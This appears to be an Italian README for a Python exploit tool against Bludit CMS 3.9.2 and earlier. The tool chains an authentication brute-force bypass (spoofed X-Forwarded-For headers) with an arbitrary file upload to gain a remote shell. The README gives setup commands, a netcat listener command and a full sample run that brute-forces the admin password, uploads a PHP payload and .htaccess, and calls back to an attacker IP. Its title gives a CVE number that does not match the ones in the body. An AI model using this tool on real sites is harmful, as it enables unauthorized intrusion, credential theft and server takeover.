
cve-2016-16113
_ _____ ___ _
__| |___ /_ ___ __ / _ \ _ __ ___ (_)
/ _` | |_ \ \ / / '_ \| | | | '_ ` _ \| |
| (_| |___) \ V /| | | | |_| | | | | | | |
\__,_|____/ \_/ |_| |_|\___/|_| |_| |_|_|
Uno strumento di sfruttamento automatizzato che combina CVE-2019-17240 (Bypass dell'autenticazione) e CVE-2019-16113 (Caricamento arbitrario di file) per ottenere esecuzione remota di codice su installazioni vulnerabili di Bludit CMS.
SOLO PER TEST DI SICUREZZA AUTORIZZATI
Questo strumento è destinato a professionisti della sicurezza che conducono test di penetrazione autorizzati e ricercatori di sicurezza che operano entro i limiti legali. L'accesso non autorizzato a sistemi informatici è illegale secondo leggi come il Computer Fraud and Abuse Act (CFAA) negli Stati Uniti e legislazioni simili in tutto il mondo.
Usando questo strumento, accetti di:
L'autore non si assume alcuna responsabilità e non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
Questo exploit automatizza il processo di:
Versioni interessate: Bludit CMS versioni 3.9.2 e precedenti
requests# Clone the repository
git clone https://github.com/yourusername/get-rce.git
cd get-rce
# Install dependencies
pip install -r requirements.txt
requirements.txt:
requests>=2.25.0
python3 get_rce.py
Lo script ti chiederà:
https://target.com)Prima di eseguire l'exploit, imposta un listener netcat:
nc -lvnp 4444
Sostituisci 4444 con la porta scelta.
$ python3 get_rce.py
Enter target URL (i.e. https://target.com): http://10.10.10.191
[ ~ ] Enter listener's IP: 10.10.14.5
[ ~ ] Enter listener's port: 4444
[...] Checking if the target is live...
[ + ] The target is live! We are good to go...
[ ~ ] Should I bruteforce username? [Y/N]: N
[ ~ ] What username should I use? (leave this to use admin as username):
[...] We are gonna default to 'admin' as username.
[ ~ ] Enter the location for password list: /usr/share/wordlists/rockyou.txt
[ * ] Tried: 123456
[ * ] Tried: password
[ * ] Tried: 12345678
...
[ + ] Creds found: admin:Password123
[ + ] Login succeed... We are good to go :)
[ + ] The payload XyZaBcDeFg.php has been uploaded...
[ + ] The payload .htaccess has been uploaded...
[...] Attempting to get a shell... @ http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php
[ + ] You should be getting a shell by now, if not open http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php
Should I bruteforce username? [Y/N]: N
What username should I use?: admin
Enter the location for password list: /path/to/passwords.txt
Should I bruteforce username? [Y/N]: Y
Enter the location for username wordlist: /path/to/usernames.txt
Enter the location for password wordlist: /path/to/passwords.txt
SecLists/Usernames/Names/names.txtSecLists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt/usr/share/wordlists/rockyou.txt (Kali Linux)X-Forwarded-For per bypassare il rate limiting/bl-content/tmp/.htaccess per garantire l'esecuzioneSe sei un amministratore di sistema:
/bl-content/tmp/ per file sospettiProblema: "Il target sembra essere offline"
Problema: "Accesso fallito"
Problema: "Nessuna shell ricevuta"
d3vn0mi
Questo progetto è fornito solo per scopi educativi e di test di sicurezza autorizzati. Vedi il disclaimer all'inizio di questo README.
Contributi, segnalazioni e richieste di funzionalità sono benvenuti! Sentiti libero di controllare la pagina delle issues.